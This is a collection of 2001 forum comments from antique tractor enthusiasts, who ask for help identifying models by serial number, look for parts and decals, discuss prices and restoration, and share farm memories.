Ellie wrote on Monday, September 03, 2001 (PDT):This past July. The Miamia Valley Steam THreashers Assoc. Sponsered the Harr parr Oliver Collecters Club There where over 700 Olivers and Equipment registered. Not to mention the over 300 othere tractors. we would have love if you came. maybe next July 12-15, 2001 you can bring your oliver to Plain City, Ohio. ** My boyfriend pulls in tractor pulls wiht an Oliver Super 99' 1954 Its the only tractor he loves to drive.
John A wrote on Monday, September 03, 2001 (PDT):Rick, If the overall condition and price of this tractor is agreeable to you. There should not be a problem with useing a tractor of this size to mow pastures. First you have more than enough Hp to turn a 6ft or larger shredder.Second you are up higher from the work, less dust& dirt to eat. Less rocks to whiz-z-z past your ears. Three better visibility to the terrain you are on. Depending on how the wheels on this tractor are set,they can be set-out for a wider stance. I know for I use a Farmall 966 for pasture shredding I have never had any prablems.My wheels are cupped out - and set for 40 in. rows My pastures are flat to rolling. I also have a lot of experence on tractors. You didn't say if you are an experenced with farm equipment are not. Basicly in my opinion there is'nt anything a small tractor can do that a larger tractor can't do better, providing the work application is equal. Also larger Hp tractors can be bought a lot of the time for less $$$. Hopes this helps!!!
Frank L wrote on Monday, September 03, 2001 (PDT):We are looking at a 1959 IH 460 Utility,no attachments. They are asking $4,200, is this a fair price?
Ken Morton wrote on Saturday, September 01, 2001 (PDT):Recently inherited a tractor that belonged to my Dad. He always said it was a Case VAC. It has no serial # name plate. It has a wide front end. Four cylinder overhead valve engine. Hydraulic three point hitch. Any help on year and complete model #. I would like to restore this tractor, but need help identifying.
JAMES L. SCHWEHR SR Sept. 1 2001 wrote on Saturday, September 01, 2001 (PDT):I Have 4 UTS 3 GAS 1LP this tractor is of the later ones. I have 22 MMS all 1939 to 1955. I dont have a BF AVERY would like one. they are, RS,ZS,US,UBS,&GS. I was raised on a farn in N.D. Where we all MMS. I really love my MMS
TEDDY THOMPSON wrote on Friday, August 31, 2001 (PDT):I would like to know more about this tractor (year, model, & ect. Please call me at (985-748-7517) or write me at Teddy Thompson, Rt. 3, Box 365, Amite, La. 70422 Thank you !
xolani mthethwa wrote on Friday, August 31, 2001 (PDT):Id like to buy a massey ferguson 390 or a 290 4x4 please contact me if you have one.
J.W. Kupsick wrote on Thursday, August 30, 2001 (PDT):When I was 12 I learned how to rake hay with one like this,but it was a super C pulled a doubble rake hookup L bar with 2 rakes,you could make 2 windrows or 1 doubble. I enjoyed it because you could see what was going on around you, we also used a cultivator for the maize and the corn.. 4 row lots of time on that tractor as a young boy,enjoyed it... very nice tractor J.W. Kupsick Warner,OK.
Steven Holt wrote on Thursday, August 30, 2001 (PDT):I have a 1940 case vc tractors. i am seeking catalogsor other useful information.new to old tractors
nugget hunt south australia wrote on Thursday, August 30, 2001 (PDT):we have an allis model b in our tractor collection which consists of twenty tractors of different makes and models. our model b was given to us by a fellow in exchange for a carton of beer,it was pretty rusty when we picked it up. in the last couple of months my wife and i have completely stripped it down to its uniqe pipe style chassis and started rebiulding it.we live at bordertown s/a and i dont think there is another one around here. all in all its a bit of fun rebiulding it and we are having to make any parts that are missing or completely rusted. we cant wait to get it running and take it around to some rallys. cheers nugget and karen
Bryan Parker wrote on Thursday, August 30, 2001 (PDT):I need a hyd pump for a #16 Pacer Also side skirts..
Butch Wininger wrote on Wednesday, August 29, 2001 (PDT):I am in search of decals for an Allis-Chalmers WD45,I can't seem to find them if anyone can help me I would appreciate it ,thanks Butch
mary theodosis wrote on Wednesday, August 29, 2001 (PDT):Where can I get prices/$value of these old tractors.
Chris Luebbert (Westphalia, MO) wrote on Wednesday, August 29, 2001 (PDT):I have just completed repainting my G. I have bought replica's of the original decals for the but I am unsure where they should be placed (with the exception of the hood, air filter, oil filter, and shift pattern decals). If anyone has any information where the rest of the decals need to be placed please let me know.
belva wrote on Wednesday, August 29, 2001 (PDT): My mother just gave my husband a tractor that my stepfather had purchased several years ago. He has passed on and we are unable to find anything that indicates what year or model it may be. Where do we look for numbers that will tell us what it is? It looks a lot like the above picture on this web page.
Richard Ody wrote on Wednesday, August 29, 2001 (PDT):I need help with the usual issue of identifying exactly what is in my shed ! I purchased a Super Dexta (or I thought so). Everything is as per the manual except there is more. There is a conventional handbrake and surprisingly a plate on the left side of the gearbox that says ; Ford Motor Company of Australia, 4FFD 100767. All the information I can gather suggests Super Dextas had numbers that concluded with 09D 928248. The documentation suggests a delivery date of 1965 - after Super Dextas ceased production. Can anybody out there tell me what I've got ?
Matt Fierro wrote on Tuesday, August 28, 2001 (PDT):I have a Massey Harris "30" with a busted intake manifold. I was told that I should be able too get it welded back together. If this can't be done can anyone direct me too a supplier for a used or after market one?
jack ferguson wrote on Monday, August 27, 2001 (PDT):just bought a 1950? VAI today.needs lots of TLC.anyone have any tips for a new guy. thanx
Jeff Douglas wrote on Monday, August 27, 2001 (PDT):I am restoring an AOS and I need a real good photo of the Decal on the Dash. Its the one of the deer jumping over the rock facing to the right above this is JOHN DEERE and below is MOLLIN.ILL.
Jared Schmelzenbach wrote on Sunday, August 26, 2001 (PDT):I finally purchased the 193? Massey_Harris. I can barely make out the serial # . i think it reads 300306. If anyone can give me more info. about it .i would realy appreciate it . Any info. on parts would be great also. thanks.
Jared Schmelzenbach wrote on Sunday, August 26, 2001 (PDT):I finally purchased the 193? Massey_Harris. I can barely make out the serial # . i think it reads 300306. If anyone can give me more info. about it .i would realy appreciate it . Any info. on parts would be great also. thanks.
ak wrote on Sunday, August 26, 2001 (PDT):dose any one have ac k crawler for sale between 200 and 2000
Lloyd in Kansas wrote on Saturday, August 25, 2001 (PDT):I just restored my grandfather's Farmall B. He bought it new in 1947 and I found the original owner's maual stuck in our old garage. I grew up with this tractor and I am very proud of it.
Cindy (Evans ) Henderson wrote on Saturday, August 25, 2001 (PDT): My father since retirement in the late 70`s has been an antique tractor puller and quite the collection of Farmall`s including the 706 he bought brand new that is still in use today around the farm. He pulls f-12`s and f-14`s every chance he gets. He doesn`t care if he wins or loses he just has fun in the Ohio area at these tractor pulls. So, if you ever see a tall good looking man with dark hair and blue eyes, thin and around 72 yrs.old tooling around at the tractor pulls on a f-12 or f-14 here in the state of Ohio throw your hand up and give him the farmers wave and hollar HI BILLY EVANS!!He will wave back at you.
Joe Monaco wrote on Friday, August 24, 2001 (PDT):Any one out there know of sheetmetal, especially hood for 1957 F-40?
gervais poirier wrote on Friday, August 24, 2001 (PDT):j'ai a vendre un tracteur ford 8n 1947 en parfait etat.si interesser.communiquer avec moi.
leo spohr wrote on Friday, August 24, 2001 (PDT):hi there leader fans. I have a leader tractor, bought in late fourties. paid 800. new from a warehouse in cleveland ohiio. Must have been a thousand in that building. Over the yearss was used for farming, rebuilt several times. broke a rear axel one time then I broke a gear shift lever.went to a small job shop. a retired fellow, who worked on a lath most of his life. made what I wanted, was eactly what I wanted. You might try someone like him. I do have a manual, doesnt tell much (if instered) for others who are looking for motors the hericules motor was used by many county and town highway departments, also muck farmers used them on the muck farms. I have many old timers say ( you nan't kill a hericules. they just get old & run llike new. I think this was a very good motor for the leader. I also came across a place where you can get parts for the hericlues (if instereted) as for the gear box or rear end of the leader, go to a good job shop, you might have to pay a litle, but its worth it. I wold give, sell or trade my leader for anything, its part of the family ( later )!!!!e-mail( lasf at eznet.net )
Rodney Youngquist wrote on Thursday, August 23, 2001 (PDT):That is a great looking MH44. My brother-in-law had a MH44 Standard back in the 1950's and early 60's. I was grateful to have the opportunity to drive this fine tractor as a teenager and my early twenties. It had a lot of power. It also had power steering installed and that really made it great to drive. We pulled a 4-bottom plow with this tractor and it handled the plow with ease.
Josh M. wrote on Wednesday, August 22, 2001 (PDT):I spent many hours of my youth disking and hilling on a 1066 identical to the one pictured. We also ran a 656 loader tractor and a 966 and 986. We now run MF ( at least they aren't green!) but I always thought those IH's were great tractors and there's many a time I wish we had them back!
kevin jackson wrote on Wednesday, August 22, 2001 (PDT):any bodey help me on photos and info on 1930 case model c. carnt get much here in cairns. qld aust. thank you.
Paul R. Thomas wrote on Wednesday, August 22, 2001 (PDT):I need to know the original wheel color for the MH Pony. I have seen bright yellow, mustard yellow, and white, on restored Pony's. I also need the upper throttle lever clamp/bracket. Thanks for any info.
Vern Heyer wrote on Wednesday, August 22, 2001 (PDT):Am willing to sell my mint condition D17, it has original paint 1958 wf, ps, 3pt, new rubber. This tractor has always been sheded. Came from Redwod Falls, Mn. I am second owner. this is a nice tractor $4000. Also have a 3 16 plow for it. call 218-846-9232 leave message
J. Tedesco wrote on Monday, August 20, 2001 (PDT):anyone that would like to see a great looking BO Lindeman crawler (restored) check out my pics of our 25th Annual Camp Creek Machinery/Thresher Show on my community site at communities.msn.com/SeeMyTractors/PhotoAlbums and select the Camp Creek Show album and you will see it.
Barry Beaupre wrote on Monday, August 20, 2001 (PDT):I have recently rebuilt and restored the 560D that I grew up farming with. I was wondering if anyone could help in locating a set of original fenders for the tractor. I have restored everything else to 100% original. I will post a picture when the decals are all put on.
Rodney Youngquist (Nebraska) wrote on Sunday, August 19, 2001 (PDT):I own a 1949 'G'. It is restored. It looks great and runs great. I drove a 1952 'G' back in the late 50's and in the 1st half of the 60's. I also drove a Farmall 'M' during this same era. I preferred the 'G' over the 'M' for handling and driver comfort. The 'G' with "rol-o-matic" was a lot easier to handle over rough terran. Also, nothing could come close to the comfort of the John Deere bench seat.
Judy wrote on Sunday, August 19, 2001 (PDT):my husband came home with a farmall H tracter,and I would like to know what year it is and how much it is worth. I think it is a 1944 modal (serial number 158562x1).
barry wrote on Sunday, August 19, 2001 (PDT):I have a MH44 special that fell off a trailer and I'm planning on putting it back in running order so I would like to know whether a MH 44 will enterchange with a 44special. Any input will help alot. Thank you
Bob Norris wrote on Sunday, August 19, 2001 (PDT):Looking for a wide front end with yoke, and a left rear brake assembly for a D17-Diesel, with seriel # before 24000
Kris wrote on Saturday, August 18, 2001 (PDT):My Dad, his brother and brother in law each had a "830". Another brother had a "R" and a 1943 "A", and another a 1938 "AR". Most owned other two-cylinders before these. They all lived with in a mile of each other. So it is safe to say I grew up around a lot of John Deeres. They were the first tractors I drove. As a child before that if it wasn't a John Deere it wasn't really a tractor. Every time I see an old two-cylinder John Deere, no matter where in the country it is, it brings back such a memory of my family and my heritage. My Dad traded a "70" diesel standard{that he bought new in 1955}for the "830" in 1965. He often regretted that he hadn't bought a new "4020" instead. I agree with him that we should of had a "4020", but I sure enjoy the sound of the "830". And no it is not for sale. Kris
scott wrote on Saturday, August 18, 2001 (PDT):ive never seen or heard of anything regaurding that tractor
scott wrote on Saturday, August 18, 2001 (PDT):this tractor needs a good paint job and it would look like brand new
scott wrote on Saturday, August 18, 2001 (PDT):i have one of these in a toy but it is a tricycle
Owen LaBarge wrote on Friday, August 17, 2001 (PDT):I am 13 and are interested in restoring a 1949 Farmall C to orignal condition. I am looking for a gas tank with no dings or dents for a fair price and also a gril assembly. I am also looking for attachments that could have been bought or came with the tractor. Thanks.
Paul Pottschmidt wrote on Friday, August 17, 2001 (PDT):We have one 40, two E-4's, one 50 one E-3 and one 570. The 40 and the 570 are still in use today helping put up silage and haul manure ect. I am needing a set of clutches for the pto on the 40 if anyone knows were I can get a set please e-mail back. Thanks.
Jim Burbridge wrote on Thursday, August 16, 2001 (PDT):I have a Case vc just like the picture above. serial # is 52#####vc. I am assuming this tractor is 1948, but per the note beside the picture above, the VC was only made from 1940-42. Do the VAC's not show "VAC" on the tag? does anyone know how much this tractor weighs?
greg young wrote on Thursday, August 16, 2001 (PDT):my father owened a tractor like this one pictured but only on rubbber and with a farm hand.He told me it was a ninty sereies. it was sold about fifteen years ago in olds alberta canada. I am my fathers son and would like to fined my farters oliver ninty and buy it back as a keepsake. I would know the tractor right away just by the fork my father built for picking up stukes. anybody knowing the wereabouts of this tractor please let me know.the last knowen owner was a mr jake rediecop of olds alberta canada.the tractor was sold at the olds auction mart. rosehill auction sevices
Ken Roddy wrote on Thursday, August 16, 2001 (PDT):I have been trying to properly ID my tractor. Most of the numbers are missing. It looks alot like the picture of this 300 utility tractor. some of the parts have these numbers on them 360486R5, 360553R3, 358046R2. One plate I did find has the number 14818P on it. The tractor has a front loader and a backhoe on it. Does anyone know for sure what this tractor is?. Thanks Ken
Brad Richards wrote on Wednesday, August 15, 2001 (PDT):I have just looked at a D-17 with a 6 cylinder gleaner engine. It has undergone a decent restoration although the engine was not opened up (I was told it has very low hours). Some of the gauges do not function and the rear tires are weather checked. The tractor has been converted to 12 volt and it does not smoke. What is somthing like this worth? Thanks.
paul socwell wrote on Wednesday, August 15, 2001 (PDT):i am looking at a super 55 gas, with a loader, will this run a 9' haybine and a old massy baler, i hobby farm and it is a neat little tractor, thank you
Ken Roddy wrote on Tuesday, August 14, 2001 (PDT):I purchased a yellow tractor w/frontloader and backhoe attachment a couple of years ago. It is an International. Recently one of the "teeth" inside the steering box broke off. I checked it out and noted it had been welded in the past. Is there a source for this item to buy a replacement or should I have it welded again. My tractor is also missing both engine sheilds/covers....wher can I find those? Any help will be apriciated. Ken
Jim Broughton wrote on Monday, August 13, 2001 (PDT): To ; Dave Curtis...see m.e.Miller tire co. at ph. 419-335-7010 or on the net at www.millertire.com...the last time I priced them for my cub, they were $34.00 ea for the front (400 X 12) and $115.00 each for the rear (8 X 24). Lots of luck !! Jim
Bob Dodge wrote on Monday, August 13, 2001 (PDT):I have a Cleveland tractor (crawler) about a 1920. It is in very good shape and I would like to find out info. on it. Also would like to sell it. Any interest ?
Darren layne wrote on Sunday, August 12, 2001 (PDT):Ifound a feruson early 50,s good body parts&rear needs engine it has ben in a shed for 20 years what engine will fit this trackter like from a 8n or9n will they enter change please help e mail me thanks
Ed.C.Weyn wrote on Sunday, August 12, 2001 (PDT):My dad bought a new Case DC in 1948 from a dealer in Mt.Clemens,Mich,it had a manure loader on it.He sold this machine about 10-12 years ago to a lumber yard in the Brighton/Novi/Oakland County area.It had a large square concrete counterweight mounted on the rear as we used it to load dirt.My dad passed away Jan 2001 at 90 years of age,I would like very much to locate this old friend,anybody see her around give me a call,PLEASE,Ed.C.Weyn,Waterford,Mich 248 682-7025
Blake Partridge wrote on Sunday, August 12, 2001 (PDT):I just got a 1951B-JD and I am fixing it up. If any body out there has got front grills, I am looking for a good set.I am also looking for a battery box and a manifold. (Gasoline only type)The tractor at the start of the page looks great, I hope mine looks that good.
Lauren Sperry (Male) wrote on Sunday, August 12, 2001 (PDT):I was born in 1948. I remember that in about 1954 my father came driving an MC down the dirt road where we lived. My older brother and I used it around the farm near Appleton City, Missouri until the mid 1960's. The tracks (pins and bushings) were in bad need of repair. My father had started to make the required parts, but never got the job done. In about 1969 my father disposed of the tractor in Independence, Missouri before moving to Hawaii to retire. I do not have any place to use one, but would like to own one at some time in the future. I have fond memories of the one we had when I was young.
Brian wrote on Saturday, August 11, 2001 (PDT):Check out the john deere section of my website. Its under different tractor companies. www.geocities.com/antique_tractor thx
Richard wrote on Saturday, August 11, 2001 (PDT):Purchased my 1950 MT serial # 23783 two years ago. Immediately joined the Two-Cylinder Club where I found all the resources to restore this tractor. Its pictured in the Jan-Feb issue 2001 of this magazine. I have since located and bought the matching intigrated hitch 2-12 plow for the MT and have turned over miles of furrows since. The MT roams over my small acreage bush hogging, raking, plowing,and towing anything with a hitch.
Chad Gill wrote on Saturday, August 11, 2001 (PDT):I have bought a Massey Harris tractor which is all original and are on sure of the year of it it is a 44 high arch with all the places on it to hook up hydrolics if any one can tell me a sight where I can check the ser.# for the year & first owner of this wonderful old tractor I have reserected to play with.
Don wrote on Friday, August 10, 2001 (PDT):Live in Wy, Looking for anyone interested in purchasing 1921- 12-20 Case Tractor. Thnx
Bruce Marshall wrote on Thursday, August 09, 2001 (PDT):John Deere B, Brings back memories. Safety is the one that stands out the most. In 1957 running in 6 gear, throttle wide open, I decided to turn into the hay field. Well let me tell you, when the rear inside wheel decided to lift from the ground I knew it was time to get off the tractor!! HOW??!! Never had to leave in a hurry before and all I saw was the big rear tires beside me. Had to jump over them somehow. I released the steering wheel, grabed the side rails of the seat and stood up ready to leave the tractor. t That by the way had now traveled well over 100ft on two wheels. Lucky for me, by releasing the steering wheel it alowed the tractor to counter steer just enough for it to gently set back down on all wheels, throttle still running wide open , and still in 6th gear and with me frozen to the seat staring straight ahead. For a 13 year old farm boy that was a very good lesson. So... I guess my point is..Don't do That!
Ark Pisarevsky wrote on Thursday, August 09, 2001 (PDT):I just bought a Ferguson TO-20 Tractor. This is the first tractor I ever owned. It is difficult to start and I am considering 12 volt conversion. Has anybody done this ? I think a different alternator and coil will be required. Is there anything else ? Also, any do's and dont's with it or any tractor in general. Thank you for your help, Ark.
Donald Duke wrote on Thursday, August 09, 2001 (PDT):Looking for a small replica of McCormick Internation W4, year l949, for my dad who is 83, it was his first tractor and I would like to find one, so he could display it on his shelf. Thanks Donald
Ray wrote on Wednesday, August 08, 2001 (PDT):I need a right side leveling box for my 160. They are proving to be very difficult to find. Id appreciate any help.
Ed Reitler wrote on Tuesday, August 07, 2001 (PDT):I am the proud owner of a TO-30 Harry Ferguson. The hydraulics on the old girl could not lift the implements and when they did lift it would bleed off very quickly. A friend and I tore the hydraulics out and had everything repaired. However, the machinist who repaired all the parts said that there is a schematic of the "proper putting back together sequence" or else things will break again. I have looked through my service manual and found no such schematic. Can anyone help?
Vince wrote on Tuesday, August 07, 2001 (PDT):I have 3 w4 tractors,2 steel wheelers & 1 rubber tyred. I have almost finished restoring the rubber tyred one [1945 model] which has the cast centres and would like to know if these and the front wheels should be painted silver as in this photo or IH red. My tractor will only be used for shows and rallies here in Australia.
Louis Kologenski wrote on Monday, August 06, 2001 (PDT):Iam looking for a steering gear pedistal shaft and attached steering sector gear for a massey harris 44 serial no. gr30294 this is a left handed type steering gear any one with information on where one can be purchased please e mail thank you
John Gunn wrote on Saturday, August 04, 2001 (PDT):I have what looks like an AC model A and the only serial numbers I can find are on the back of the block W93651K. this doen't match numbers in registery. it has hand brakes, any idea? I would like to know how many were built and if some parts are still available.
Aaron Faso wrote on Saturday, August 04, 2001 (PDT):My Dad has a series 2 d15 with 3 point, pto power adjust rears, cultivator bars and multiple adjust hydralics and a brand new fuel pump.We would like to know what this tractor is worth.
Brian wrote on Friday, August 03, 2001 (PDT):Help,.... my dad gave me a tractor and I would like to know what year it is. It is a regular on steel # number on frame is 470991. any help would be welcome. also looking for side grille for 2020 JD.
Jeff Doucette wrote on Wednesday, August 01, 2001 (PDT):There is a AC model 160 for sale at www.agdealer.com Search equipment ,Allis Chalmers 160 and you will find it
John Issel wrote on Wednesday, August 01, 2001 (PDT):We can supply many NEW, REBUILT, AND USED ALLIS CHALMERS parts. Let us know what you are looking for, we have all the MICROFICHE for these tractors. Visit our WEBSITE,www.heavyequipmentpartsdepot.com.
LeRoy Price wrote on Monday, July 30, 2001 (PDT):Looks like a beautiful tractor wish I had one. Hope I can find one someday and get it restored. I like standards from any brand but like the Oliver the best. What would these tractors run in price for something that looks pretty good and runs decent? Hate to think I'm in $6000 area was hoping for $2500 area give or take a few hundred.
Roger Balderston wrote on Monday, July 30, 2001 (PDT):I need some help. Can anyone tell me where to locate the serial number for my D17 Alis Chamers? I need to know if it is a series IV or not to be able to get the right 3 point hitch for it. I've looked and can't seem to find it thanks Roger
Carl Johnson wrote on Monday, July 30, 2001 (PDT):I own a super c.It runs good needn painted. My Dad bought the first c that came out in Butler Co. Ky.(1948) I was 12 yrs old.I loved that tractor it replaced 3 mule I was driving. Yes it had hydraulics.
George Allegri wrote on Sunday, July 29, 2001 (PDT):A friend of mine is restoring a Ferguson. The Serial no. is S 114219 F. TO-20. He would like to know the exact year when this model was built.
mike birch wrote on Sunday, July 29, 2001 (PDT):I own a 56/57 D-14 gas looking for motor as it has been rebuilt 4 times to date sentimental value was my fathers first tractor and first I learned to drive would be a good tractor to teach my sons to learn on
Sandra Chedwick wrote on Sunday, July 29, 2001 (PDT):My father is having his AC 1968 D 12 restored, mainly to show in parades and tractor shows. It has a 3 point hitch. We are interested in any info about the tractor and info about the value of the tractor. Thanks!
Dave Kappre wrote on Sunday, July 29, 2001 (PDT):I have the opportunity to pull an abandoned tractor from the woods but I'm not sure what it is. I showed it to a friend and he thinks it is a Case. From what's left of it, it looks a lot like the picture above. Could somebody tell me where to find the serial number. Could somebody send me close-ups of their SC so that I could compare them with the tractor I'll be getting. I have a couple pictures of the tractor in the woods if anybody would like to see them. Thanks for any help.
Shauna Kerkhoff wrote on Saturday, July 28, 2001 (PDT):My friend and his brother have inherited a SD-3 from their grandfather. It is a 1950 and is running. If anyone knows or has any information on this tractor please let us know. Thanks
David Nevin wrote on Saturday, July 28, 2001 (PDT):Can anyone explain to me the actual mechanics of the M-TA that started on gasoline, then was "switched to diesel? Just how did that work? Since it was started on gasoline, it had spark plugs, correct? When it was "switched" was the ignition "shut off"? My uncle had two of these gems and I am just curious since he is no longer with us for me to ask.
Randy Housner wrote on Saturday, July 28, 2001 (PDT):Hi, My Dad has a 1919 10-20 Titan, which was used primarily to run a treshing machine. Does anyone know where I might be able to get a picture of a Titan running a threshing machine, in the 1930s/1940s timeframe. Sorry, I don't have any details on the threshing machine.
John Blake wrote on Friday, July 27, 2001 (PDT):Can anyone send me information on where to place the decals on a 1949 LA Case? Send picture if possible. Thank you.
Steve Smith wrote on Thursday, July 26, 2001 (PDT):I just acquired an Oliver Super55 and plan on restoring it. This is my first attempt at anything like this so I will take any suggestions and/or information I can get. All four wheels are green. I have the paint code for the green but not for the yellow that is on the front. Are the Super 55 decals available? All I know now is it has a rod knock and I am starting from scratch
CaroleSue Chase wrote on Thursday, July 26, 2001 (PDT):Gramps had a Allis Chalmers WF and it was sold and converted. He is old and not many years left. Anyone have one we can buy to make an old tractor buff happy in his last few years? Willing to consider selling it back when the time comes. Very sentimental reasons. thanks. CaroleSue Chase, South Haven MI
Wally Pfennig wrote on Thursday, July 26, 2001 (PDT): ED HARTMAN; The shipping weight of your Super C is 2900 lbs (C is 2780 lbs without fuel and water) according to the IH Tractor Data book by Guy Fay. For 3 pt conversions... try www.farmstar.com, click on Rear Hitches, Click on 3 Point Conversions, Farmalls are near the top of the page. There are two diagrams links. It appears that it bolts to the axle housings and operates from the lift arms (neat design in my opinion). paul jr; Your Farmall C was made in late 1948. For serial# lookups... www.ytmag.com/cgi-bin/snlookup.cgi
Dale West wrote on Wednesday, July 25, 2001 (PDT):I have a 1950 B that just last week was challenged to a chain hookup with an F-20 Farmall. That F-20 will never challenge a mighty B John Deere again as he was dragged backwards very easily. The JD model B is one of the greatest machines of the twentieth century.
Andrew McLaren wrote on Wednesday, July 25, 2001 (PDT):I own and operate a 1942 Model 81, using it for snow-plowing all winter, and mowing and raking in summer. I do all necessary repairs using the shop manual, "I & T Shopbook", publ. 1948, which covers all MH models. For restorations, the following Sherwin-Williams paints are correct; Kem-Transport Straw Yellow #JK-4649, Kem-Transport Red #JK-4036-G.The engine was originally black.
david t. wrote on Wednesday, July 25, 2001 (PDT):I have found a 100 Farmall high clearance in a scrapiron pile. The tractor is missing fenders,seat,and floorboard. My question, are the fenders taller on a highclearance modle? If so any information would be greatful!! THANK YOU IN ADVANCE!!
joanne wrote on Wednesday, July 25, 2001 (PDT):One of these tractors was stolen from an estate in Greensboro, NC within the past 3 weeks. If anyone receives inquiries concerning parts or sales of this tractor, please email me at the above address. There is a reward for information leading to the recovery of the tractor. Thanks
ken dyck wrote on Wednesday, July 25, 2001 (PDT):as a youngster i harrowed many an acre on a 44, our farm had 720 acres at the time. it would pull 12 (i think) sections of harrow in 3 rd gear, sometimes in 4th if the conditions were right. our hired hand plowed a 100 acre of clover with a 3 bottom plow but when he was done so was the exhaust manifold. dad bought the tractor used in the late 50's early 60's and the only rear dangerous occurence was that the nut holding one of the rear wheels on came loose several years after being worked on, if i owned one today i would check that. my brother found a 44 for sale and it is in good running shape. by tommorrow i may own it!!!! this will not be my working tractor, just a nostalga thing. old tractors belong in parades ken
ALLEN WILLIAMS wrote on Wednesday, July 25, 2001 (PDT):I have a 1948 case DC also my uncle has my Grandads old 48 DC both were used on farms that ajoined each other, For many years they still run and work-play I wanted to know the difference between the DC&SC Please Help Thanks.
Jim Weiler, Union City,IN wrote on Tuesday, July 24, 2001 (PDT):My dad has a 1949 MH 22 with a Massey loader that has been a good tractor. He has owned it since about 1968. Originally sold we think from the dealer in Winchester,IN. It has loaded one heck of alot of manure in its life and a good share of rocks too.It is semi-retired since we got a skid loader a few years ago, but I still used it to pick up a few rocks this spring, just for exercise.I like the looks of those 444's, they look streamlined.
dave dennison wrote on Tuesday, July 24, 2001 (PDT):I was in Sagertown,Pa. to the steam&tractor show. There was an Oliver 99 diesel with the GM supercharger. It was in pristine condition! I only wish i could own one.
Bill Caracofe wrote on Tuesday, July 24, 2001 (PDT):I own a D-17, I'm looking for a 3pt. hook up.
james lucas wrote on Monday, July 23, 2001 (PDT):We have had a 160 for many years we have avery hard time finding parts!We need a position control valve for it, so if ther is one out there let me know.We have had alot of trouble with the hydraulics and with the head gasket leaking.
Lathwell Farms wrote on Monday, July 23, 2001 (PDT):We farm a 5600 acres dairy farm in eastern iowa, we use IH, we have 2 IH 6788 2+2's, a 5288, 2 1086's, a 886 and a 1066, we have had really good luck with all the tractors, and we prefer the 2+2's over any big articulated tractor out there. we bouth all our tractors new and have never had a liuck of trouble.
stuart wrote on Monday, July 23, 2001 (PDT):i am looking for a leader tractor in goood running cond non smoker i do want any attchment's with it, price must be fair
Norm wrote on Monday, July 23, 2001 (PDT):I have an oliver 550 with a 578 front end loader and 613 backhoe. I need a top end gasket kit for it. Help!
Chuck wrote on Monday, July 23, 2001 (PDT):I have a 1943 Case D. I. that has an Earth Master Boom, and hard rubber tires on the front. Motor Runs good but has a bad spot on the fly wheel and needs carbeurator work. This tractor is Unique and One Of A Kind. Could be considered an Industrial Type of Tractor. Want to sell it. Email for pics, any offer over $850.00 gets it. Located in West Central Illinois.
Dave wrote on Sunday, July 22, 2001 (PDT):I recently acquired a D-17 gas with a loader. It does a nice job pulling my 90 inch LandPride mower. I'm intersted in locating good sources for parts or a parts tractor.
David DeLaughter wrote on Sunday, July 22, 2001 (PDT):I learned today that I be getting my dad's 1941 Z which has been in the weeds for about 10 years. It was purchased new in the Spring of 1941 by the man my dad worked for; I was born Mar 31, 1941. Later, after WW II, my dad was able to buy the tractor used, and it was the only tractor we farmed with until 1957 when he quit. I will need some parts such as engine lift-up side panels and grill. Where do I start? Also, the comments above regarding steering wheel and seat apply to the 1941 model; seat well back, swivels in a rubber mounted support, steering wheel shaft is on the left side going directly into the steering sector housing above the front wheels. Thanks for great info and the memories. David
Terry wrote on Saturday, July 21, 2001 (PDT):I would like to know if there is a pull behind mower that will work with my Cub tractor. The tractor has working hydraulics and PTO. I have about 8 acres. Thanks for any help.
Patrick Rawls wrote on Saturday, July 21, 2001 (PDT):I have recently purchased an old IH tractor. It has no sheet metal or serial number plate, a wide seat,a wide front, and used to be yellow . It appears to be an older model of the 300 utility shown above. Does anyone know if such a beast exists? Any pictures? Looking for help!! Thanks!!!
Robert Luckadoo wrote on Friday, July 20, 2001 (PDT):I just ran across a 1970 one-owner 160 in excellent condition. It has been shedded. I have the original owners manual, all the service records and everything since 1970. Needs paint, but everything else is awesome 3050 hours. I am asking $5500 for is as is in its unrestored state. This is a one of a kind!
Bing Zimmerman wrote on Thursday, July 19, 2001 (PDT):Hi every one...I am looking for a waterpump,air cleaner and PTO for my OC3. I live in Everett Wa. If any one can help, please contact me. Thank you
Paul Wegmann wrote on Thursday, July 19, 2001 (PDT):My Grandpa owned a '36 "Hart-Parr 70" and bought an "Oliver 70" with rubber tires around 1941. Both were eventually traded in for 77's. I own a bundle wagon, or loose hay rack, that grandpa bought new in the mid-1930's. Originally it had a steel-wheeled running gear but that was replaced with an electric wheel running gear with rubber tires around 1948. It has the original wooden side racks that "stand up" by hooking the metal bottoms into the floor bed and attaching the front and rear cross pieces. The front "standard" completes the basket. It is in great shape considering its age, (always shedded) and would fit in nicely with the old Olivers at antique thrashing shows or in parades. Would sell for the right price.
Paul Wegmann wrote on Thursday, July 19, 2001 (PDT):My Grandpa owned a '36 "Hart-Parr 70" and bought an "Oliver 70" with rubber tires around 1941. Both were eventually traded in for 77's. I own a bundle wagon, or loose hay rack, that grandpa bought new in the mid-1930's. Originally it had a steel-wheeled running gear but that was replaced with an electric wheel running gear with rubber tires around 1948. It has the original wooden side racks that "stand up" by hooking the metal bottoms into the floor bed and attaching the front and rear cross pieces. The front "standard" completes the basket. It is in great shape considering its age, (always shedded) and would fit in nicely with the old Olivers at antique thrashing shows or in parades. Would sell for the right price.
Paul Wegmann wrote on Thursday, July 19, 2001 (PDT):My Grandpa owned a '36 "Hart-Parr 70" and bought an "Oliver 70" with rubber tires around 1941. Both were eventually traded in for 77's. I own a bundle wagon that grandpa bought new in the mid-1930's. Originally it had a steel-wheeled running gear but that was replaced with an electric wheel running gear with rubber tires around 1948.
Dan Peugh wrote on Thursday, July 19, 2001 (PDT):I have a 1957 WD-45 that runs great and most everything works well. Has been changed to 12 volt. This is a gas model with the wide front end. I am asking $2000.00 for it but will consider offers.
Terry wrote on Thursday, July 19, 2001 (PDT):Anyone have experience with an F-14 in an antique tractor pull? What tire pressure did you use? Any other suggestions welcome.
Ken Myers wrote on Thursday, July 19, 2001 (PDT):We used 560's for years. The non-blower one pulled 4 bottoms as fast as you wanted, and the blower one would do it with the plow buried. We could have easily pulled 5, but to small a gain for the wear and tear. Far and away the best pound for pound tractor ever built.
WAYNE wrote on Thursday, July 19, 2001 (PDT):Gary The "N" designation only refers to the width of the rear end of the tractor. All "B"s were manufactured with narrow fronts. If you'll check this out you find the measurments from outer rim to outer rim on the "N" version measures 71 1/2" and the standard measures 79 1/2". I think this is correct.
